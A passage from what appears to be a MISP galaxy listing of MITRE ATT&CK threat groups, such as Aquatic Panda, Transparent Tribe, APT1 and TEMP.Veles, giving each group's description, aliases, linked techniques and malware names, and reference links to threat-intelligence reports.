Nomadic Octopus - G0133 is also known as:

- Nomadic Octopus
- DustSquad

View relationships graph

Nomadic Octopus - G0133 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Octopus - S0340" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5022. Table References

Links
https://attack.mitre.org/groups/G0133
https://securelist.com/octopus-infested-seas-of-central-asia/88200/

https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html
https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia
https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf

Aquatic Panda - G0143

[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Aquatic Panda - G0143"*

Aquatic Panda - G0143 is also known as:

- AQUATIC PANDA

View relationships graph

Aquatic Panda - G0143 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5023. Table References

Links
https://attack.mitre.org/groups/G0143
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/

Transparent Tribe - G0134

[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Transparent Tribe - G0134"*

Transparent Tribe - G0134 is also known as:

- Transparent Tribe
- COPPER FIELDSTONE
- APT36
- Mythic Leopard
- ProjectM

View relationships graph

Transparent Tribe - G0134 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ObliqueRAT - S0644" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Peppy - S0643" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"

Table 5024. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/

https://attack.mitre.org/groups/G0134
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://securelist.com/transparent-tribe-part-1/98127/
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

Ferocious Kitten - G0137

[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Ferocious Kitten - G0137"*

Ferocious Kitten - G0137 is also known as:

- Ferocious Kitten

View relationships graph

Ferocious Kitten - G0137 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MarkiRAT - S0652" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 5025. Table References

Links
https://attack.mitre.org/groups/G0137
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

APT-C-36 - G0099

[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)

The tag is: *misp-galaxy:mitre-intrusion-set="APT-C-36 - G0099"*

APT-C-36 - G0099 is also known as:

- APT-C-36
- Blind Eagle

View relationships graph

APT-C-36 - G0099 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Imminent Monitor - S0434" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5026. Table References

Links
https://attack.mitre.org/groups/G0099
https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/

TEMP.Veles - G0088

[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="TEMP.Veles - G0088"*

TEMP.Veles - G0088 is also known as:

- TEMP.Veles
- XENOTIME

View relationships graph

TEMP.Veles - G0088 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TRITON - S0609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5027. Table References

Links
https://attack.mitre.org/groups/G0088
https://dragos.com/resource/xenotime/
https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html [https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html]
https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html
https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html

FIN10 - G0051

[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN10 - G0051"*

FIN10 - G0051 is also known as:

- FIN10

View relationships graph

FIN10 - G0051 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5028. Table References

Links
https://attack.mitre.org/groups/G0051

https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf

APT12 - G0005

[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)

The tag is: *misp-galaxy:mitre-intrusion-set="APT12 - G0005"*

APT12 - G0005 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda
- DNSCALC

View relationships graph

APT12 - G0005 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT12" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="DNS Calculation - T1568.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ixeshe - S0015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"

Table 5029. Table References

Links

http://www.crowdstrike.com/blog/whois-numbered-panda/
https://attack.mitre.org/groups/G0005
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

APT30 - G0013

[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="APT30 - G0013"*

APT30 - G0013 is also known as:

- APT30

View relationships graph

APT30 - G0013 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT30" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="FLASHFLOOD - S0036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NETEAGLE - S0034" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SPACESHIP - S0035" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHIPSHAPE - S0028" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="almost-certain"

Table 5030. Table References

Links
https://attack.mitre.org/groups/G0013
https://securelist.com/the-naikon-apt/69953/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

APT1 - G0006

[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-intrusion-set="APT1 - G0006"*

APT1 - G0006 is also known as:

- APT1
- Comment Crew
- Comment Group
- Comment Panda

View relationships graph

APT1 - G0006 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT1" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Lslsass - S0121" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="xCmd - S0123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Seasalt - S0345" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Cachedump - S0119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5031. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/groups/G0006
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Axiom - G0001

[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least

2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="Axiom - G0001"*

Axiom - G0001 is also known as:

- Axiom
- Group 72

View relationships graph

Axiom - G0001 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Zox - S0672" with estimative-language:likelihood-probability="almost-certain"

Table 5032. Table References

Links
http://blogs.cisco.com/security/talos/threat-spotlight-group-72
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
https://attack.mitre.org/groups/G0001
https://securelist.com/games-are-over/70991/
https://securelist.com/winnti-more-than-just-a-game/37029/

Inception - G0100

[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Inception - G0100"*

Inception - G0100 is also known as:

- Inception
- Inception Framework
- Cloud Atlas

View relationships graph

Inception - G0100 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
